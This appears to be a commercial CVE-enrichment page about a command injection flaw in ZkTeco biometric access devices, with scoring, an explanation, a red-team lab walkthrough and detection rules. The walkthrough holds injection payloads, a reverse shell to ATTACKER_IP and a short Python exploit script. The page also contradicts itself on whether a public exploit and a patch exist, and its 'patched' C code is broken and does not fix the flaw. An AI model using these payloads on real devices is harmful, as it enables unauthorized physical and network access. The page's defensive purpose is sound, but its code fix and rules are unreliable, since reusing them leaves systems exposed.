☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zkteco logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 10 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-3939

CVE-2023-3939 Command Injection in Zkteco
📅 PUBLISHED: 2024-05-21 09:45 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.01%
👁️
1.01% probability
25.1× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Commercial
VULNERABLE: ZAM170-NF-1.8.25-7354-Ver1.0.0 (and possibly others)
CVSS VECTOR BREAKDOWN 10.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
10.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-3939 is a critical OS Command Injection vulnerability affecting ZkTeco-based OEM devices, including the ZkTeco ProFace X, Smartec ST-FR043, and Smartec ST-FR041ME. The vulnerability stems from improper neutralization of special elements used in an OS command, allowing an unauthenticated attacker to execute arbitrary commands with superuser privileges. With a CVSS score of 10.0, this represents the maximum possible severity, as all command implementations run as root. The vulnerability exists in firmware version ZAM170-NF-1.8.25-7354-Ver1.0.0 and potentially other versions. No public proof-of-concept or patch is currently available, making these devices highly exposed to remote compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded devices from ZkTeco and its OEM partners. The supply chain risk is significant, as these devices are often deployed in physical access control systems (e.g., door controllers, biometric readers) within enterprise environments. Compromise could lead to unauthorized physical access, lateral movement, and persistent backdooring of facility security infrastructure.

CVSS Breakdown & Threat Level

  • CVSS Score: 10.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – no authentication needed.
  • User Interaction: None (UI:N) – no user action required.
  • Scope: Unchanged (S:U) – vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – full system read access.
  • Integrity Impact: High (I:H) – full system write access.
  • Availability Impact: High (A:H) – potential for denial of service or full system control.

Threat Level: Critical. The combination of remote exploitability, no authentication, and superuser execution makes this a top-priority vulnerability for any organization using affected devices.

Deep Dive & Mechanics

The vulnerability exists in the web interface or API endpoints of ZkTeco-based OEM devices. The software fails to sanitize user-supplied input before passing it to system-level commands. For example, parameters such as device names, IP addresses, or configuration values are concatenated directly into shell commands without proper escaping or validation.

Root Cause: The application uses functions like system(), exec(), or popen() in C/C++ or similar in embedded Linux environments, where user input is embedded into command strings. Since the web server or daemon runs with root privileges, any injected command executes with full system access.

Attack Vector: An attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /cgi-bin/param.cgi, /api/device/config, or similar). The request includes shell metacharacters (e.g., ;, |, &&, `) followed by arbitrary commands. The device processes the input and executes the injected command.

Example vulnerable parameter: device_name=test;id or ip_address=192.168.1.1|reboot.

Impact: Full remote code execution as root. Attackers can:

  • Exfiltrate biometric data (fingerprint templates, face images).
  • Modify access control lists (grant unauthorized entry).
  • Install persistent backdoors (e.g., reverse shells, SSH keys).
  • Disable device logging or tamper with audit trails.
  • Use the device as a pivot point for lateral movement within the network.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on typical OS command injection fixes.

Vulnerable Code (C/C++ example):

void set_device_name(char *name) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "echo %s > /etc/device_name", name);
    system(cmd);
}

Patched Code (hypothetical):

void set_device_name(char *name) {
    // Validate input: allow only alphanumeric and specific characters
    if (!is_valid_hostname(name)) {
        log_error("Invalid device name");
        return;
    }
    // Use execve with arguments array to avoid shell interpretation
    char *args[] = {"/bin/sh", "-c", "echo", name, ">", "/etc/device_name", NULL};
    execve("/bin/sh", args, NULL);
}

Key Differences:

  • Input validation: Whitelist allowed characters.
  • Avoid system(): Use execve() with argument arrays to prevent shell injection.
  • Principle of least privilege: Run the web service as a non-root user (though this requires firmware redesign).

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Obtain a vulnerable device (e.g., ZkTeco ProFace X) or use an emulated environment (e.g., QEMU with the firmware).
  2. Connect the device to an isolated network segment.
  3. Identify the web interface IP (e.g., 192.168.1.100).

Exploitation Steps:

  1. Reconnaissance: Scan for open ports (e.g., nmap -p- 192.168.1.100). Common ports: 80 (HTTP), 443 (HTTPS), 8080, 8443.
  2. Identify Vulnerable Endpoint: Use a web fuzzer (e.g., Burp Suite, ffuf) to find endpoints that accept user input. Look for parameters like name, ip, config, action.
  3. Craft Payload: Inject a command using shell metacharacters. Example:
    POST /cgi-bin/param.cgi HTTP/1.1
    Host: 192.168.1.100
    Content-Type: application/x-www-form-urlencoded
    
    device_name=test;id
    
  4. Verify Execution: Check response for command output (e.g., uid=0(root)). Alternatively, use a reverse shell:
    device_name=test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
    
  5. Post-Exploitation: Extract /etc/shadow, add SSH key, or deploy persistence.

Example Exploit Script (Python):

import requests

target = "http://192.168.1.100"
cmd = "id"
payload = f"device_name=test;{cmd}"

try:
    r = requests.post(f"{target}/cgi-bin/param.cgi", data=payload, timeout=5)
    print(f"Response: {r.text}")
except Exception as e:
    print(f"Error: {e}")

Blue Team (Defensive)

Detection & Response:

  1. Network Monitoring: Look for HTTP requests containing shell metacharacters (;, |, &&, `) in POST/GET parameters.
  2. Log Analysis: Check device logs for unusual command execution or unexpected process spawns (e.g., /bin/sh, /bin/bash).
  3. Honeypot: Deploy a decoy device to capture exploitation attempts.
  4. Mitigation: If patching is impossible, isolate affected devices on a separate VLAN with strict firewall rules (allow only necessary IPs and ports).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with shell metacharacters in parameters (e.g., ;id, |reboot, &&whoami).
    • Outbound connections from the device to unusual IPs/ports (e.g., reverse shell traffic).
    • DNS queries to known C2 domains.
  • Host IOCs:

    • Unexpected processes: /bin/sh, /bin/bash, /usr/bin/python, /usr/bin/perl.
    • Modified system files: /etc/passwd, /etc/shadow, /etc/ssh/sshd_config.
    • New SSH authorized keys in /root/.ssh/authorized_keys.
    • Suspicious cron jobs or startup scripts.
  • File IOCs:

    • Presence of files like /tmp/.backdoor, /var/run/.systemd.
    • Unusual binaries in /tmp or /dev/shm.

Detection Engineering

YARA Rule

rule CVE_2023_3939_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting ZkTeco devices"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-3939"
    strings:
        $cmd1 = /[;&|`$(){}]/
        $cmd2 = /(system|exec|popen|shell_exec|passthru)/
        $cmd3 = /(bash|sh|cmd|powershell)/
    condition:
        any of ($cmd*) and filesize < 10KB
}

Sigma Rule

title: CVE-2023-3939 OS Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting ZkTeco devices
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
        c-uri|contains:
            - '/cgi-bin/'
            - '/api/'
    condition: selection
falsepositives:
    - Legitimate use of special characters in rare cases
level: critical

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2023-3939 - ZkTeco OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/"; http_uri;
    pcre:"/[;&|`$(){}]/i";
    sid:1000001;
    rev:1;
    priority:1;
    classtype:attempted-admin;
    reference:cve,2023-3939;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Devices: Place all affected ZkTeco devices on a separate VLAN with strict ACLs. Block inbound HTTP/HTTPS from untrusted networks.
  2. Disable Unused Services: If the web interface is not required, disable it via device configuration or firewall.
  3. Monitor Logs: Enable centralized logging and alert on suspicious HTTP requests or process executions.

Long-Term Fix:

  • Vendor Patch: Await an official firmware update from ZkTeco. Contact the vendor for ETA.
  • Firmware Hardening: If possible, recompile firmware with input validation and privilege separation (run web server as non-root).
  • Replace Devices: If patching is not feasible, consider replacing devices with alternatives that have proper security controls.

Workaround:

  • Use a reverse proxy (e.g., Nginx) in front of the device to filter malicious requests. Example Nginx rule:
if ($args ~* "[;&|`$(){}]") {
    return 403;
}

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

ZkTeco ProFace X
Smartec ST-FR043
Smartec ST-FR041ME
ZAM170-NF-1.8.25-7354

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-3939/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.